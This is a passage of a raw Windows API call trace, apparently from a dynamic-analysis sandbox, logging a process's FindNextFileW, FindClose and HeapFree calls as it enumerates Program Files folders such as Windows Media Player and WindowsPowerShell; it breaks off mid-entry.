FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x131f48fc, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x131f48fc, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Mail", cAlternateFileName="WINDOW~2")) returned 1 [0275.307] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.307] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d728c0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d728c0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d728c0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x1c1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="msoe.dll", cAlternateFileName="")) returned 1 [0275.308] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.308] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x13135ea8, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x13135ea8, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Media Player", cAlternateFileName="WI54FB~1")) returned 1 [0275.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.369] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc52a386, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6e9bf9c, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Icons", cAlternateFileName="")) returned 1 [0275.369] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.369] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6e9bf9c, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc580db4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Media Renderer", cAlternateFileName="MEDIAR~1")) returned 1 [0275.406] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.406] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa43ac3a6, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xab521500, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x28200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mpvis.DLL", cAlternateFileName="")) returned 1 [0275.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.407] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4386148, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0x734ad200, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x1b8800, dwReserved0=0x0, dwReserved1=0x0, cFileName="setup_wm.exe", cAlternateFileName="")) returned 1 [0275.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.407] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa6ec21fe, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc5831ad, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xa6ec21fe, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visualizations", cAlternateFileName="VISUAL~1")) returned 1 [0275.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.407] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa41962a8, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xa5b5da3e, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe81e0c00, ftLastWriteTime.dwHighDateTime=0x1d29fa1, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmlaunch.exe", cAlternateFileName="")) returned 1 [0275.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.408] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc583dc8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a7340c2, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Multimedia Platform", cAlternateFileName="WINDOW~3")) returned 1 [0275.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.408] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc584957, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows NT", cAlternateFileName="WINDOW~4")) returned 1 [0275.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0275.414] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x480bd806, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xdc94812c, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x480bd806, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x417c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="wordpad.exe", cAlternateFileName="")) returned 1 [0275.416] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.416] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 1 [0275.418] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.418] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x776fe01f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x776fe01f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x776fe01f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x97a00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="TableTextService.dll", cAlternateFileName="")) returned 1 [0275.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.419] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc5e3ac7, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b27bb25, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TableTextService", cAlternateFileName="TABLET~1")) returned 0 [0275.419] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0275.419] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.421] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x1310fcb2, ftLastAccessTime.dwHighDateTime=0x1d501ab, ftLastWriteTime.dwLowDateTime=0x1310fcb2, ftLastWriteTime.dwHighDateTime=0x1d501ab, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Photo Viewer", cAlternateFileName="WI8A19~1")) returned 1 [0275.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.423] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cfdb9c3, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x9cfdb9c3, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x9cfdb9c3, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x19340, dwReserved0=0x0, dwReserved1=0x0, cFileName="ImagingDevices.exe", cAlternateFileName="")) returned 1 [0275.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.423] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a42d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a75a324, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Portable Devices", cAlternateFileName="WIBFE5~1")) returned 1 [0275.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.424] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65a9e5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows Sidebar", cAlternateFileName="WI4223~1")) returned 1 [0275.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.430] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 1 [0275.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.432] FindNextFileW (in: hFindFile=0x6ebd70, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65b54b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c22b6b, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shared Gadgets", cAlternateFileName="SHARED~1")) returned 0 [0275.432] FindClose (in: hFindFile=0x6ebd70 | out: hFindFile=0x6ebd70) returned 1 [0275.432] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ed0068 | out: hHeap=0x630000) returned 1 [0275.432] FindNextFileW (in: hFindFile=0x6ec4b0, lpFindFileData=0x3b2fa7c | out: lpFindFileData=0x3b2fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65c04f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="WindowsPowerShell", cAlternateFileName="WID5B1~1")) returned 1 [0275.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.434] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 1 [0275.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x707768 | out: hHeap=0x630000) returned 1 [0275.434] FindNextFileW (in: hFindFile=0x6ec3f0, lpFindFileData=0x3b2f584 | out: lpFindFileData=0x3b2f584*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65d9d9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Schema", cAlternateFileName="")) returned 0 [0275.434] FindClose (in: hFindFile=0x6ec3f0 | out: hFindFile=0x6ec3f0) returned 1 [0275.434] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0275.434] FindNextFileW (in: hFindFile=0x6ebfb0, lpFindFileData=0x3b2f800 | out: lpFindFileData=0x3b2f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc65e250, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c6f037, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Modules", cAlternateFileName="")) returned 1 [0275.454] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.454] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 1 [0275.455] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0275.455] FindNextFileW (in: hFindFile=0x6ebeb0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc70dd67, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0275.455] FindClose (in: hFindFile=0x6ebeb0 | out: hFindFile=0x6ebeb0) returned 1 [0275.456] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0275.456] FindNextFileW (in: hFindFile=0x6ebff0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc4a, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.PowerShell.Operation.Validation.Format.ps1xml", cAlternateFileName="")) returned 1 [0275.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.464] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710b88, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Simple", cAlternateFileName="")) returned 0 [0275.464] FindClose (in: hFindFile=0x6ebaf0 | out: hFindFile=0x6ebaf0) returned 1 [0275.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.464] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc710223, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0275.464] FindClose (in: hFindFile=0x6ebab0 | out: hFindFile=0x6ebab0) returned 1 [0275.464] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.465] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc71143e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics", cAlternateFileName="EXAMPL~2.DIA")) returned 1 [0275.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0275.466] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7129b1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0275.466] FindClose (in: hFindFile=0x6ebbb0 | out: hFindFile=0x6ebbb0) returned 1 [0275.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.466] FindNextFileW (in: hFindFile=0x6ebb70, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97de4ff6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97de4ff6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97de4ff6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x243, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example2.Diagnostics.psd1", cAlternateFileName="")) returned 1 [0275.466] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.466] FindNextFileW (in: hFindFile=0x6eb6b0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc711adb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.1", cAlternateFileName="103623~1.1")) returned 0 [0275.466] FindClose (in: hFindFile=0x6eb6b0 | out: hFindFile=0x6eb6b0) returned 1 [0275.467] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0275.468] FindNextFileW (in: hFindFile=0x6ec070, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7134cf, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Example3.Diagnostics", cAlternateFileName="EXAMPL~3.DIA")) returned 1 [0275.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f37fd8 | out: hHeap=0x630000) returned 1 [0275.471] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2e420 | out: lpFindFileData=0x3b2e420*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc714e87, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a780592, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Simple", cAlternateFileName="")) returned 0 [0275.471] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0275.471] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0275.471] FindNextFileW (in: hFindFile=0x6ebcb0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c48de1, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbc7144ea, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17c48de1, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Diagnostics", cAlternateFileName="DIAGNO~1")) returned 0 [0275.471] FindClose (in: hFindFile=0x6ebcb0 | out: hFindFile=0x6ebcb0) returned 1 [0275.473] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0275.473] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2e918 | out: 